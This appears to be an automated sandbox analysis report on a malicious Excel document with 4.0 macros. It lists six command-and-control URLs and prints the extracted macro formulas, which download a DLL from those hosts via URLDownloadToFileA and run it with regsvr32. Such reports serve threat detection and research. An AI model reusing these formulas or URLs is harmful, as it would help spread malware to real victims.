?i=1ydceoyhl
- SHA256 894658b992050ab6d7ee061f083a48264ce56c1b4fbc5ac87c142765405a47f7
-
Suspicious Office macro
Office document equipped with 4.0 macros.
General
- Target ?i=1ydceoyhl
- Size 50KB
- Sample220507-es8b9aebak
- SHA256 894658b992050ab6d7ee061f083a48264ce56c1b4fbc5ac87c142765405a47f7
Score
10/10
Malware Config
Extracted
Rule
Excel 4.0 XLM Macro
C2
-
http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/
-
http://hoatuoiso1.com/replace/fVea/
-
https://rumkeke.com/wp-admin/A8/
-
https://www.restaurantgaig.com/wp-includes/HLDoANj/
-
http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/
-
http://www.hiway91.com/wp-content/Y/
Attributes
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/","..\rulm.dll",0,0) =IF('EGSBBB'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hoatuoiso1.com/replace/fVea/","..\rulm.dll",0,0)) =IF('EGSBBB'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rumkeke.com/wp-admin/A8/","..\rulm.dll",0,0)) =IF('EGSBBB'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.restaurantgaig.com/wp-includes/HLDoANj/","..\rulm.dll",0,0)) =IF('EGSBBB'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/","..\rulm.dll",0,0)) =IF('EGSBBB'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.hiway91.com/wp-content/Y/","..\rulm.dll",0,0)) =IF('EGSBBB'!D22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rulm.dll") =RETURN()
Signatures
- Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
File Explorer
-
?i=1ydceoyhl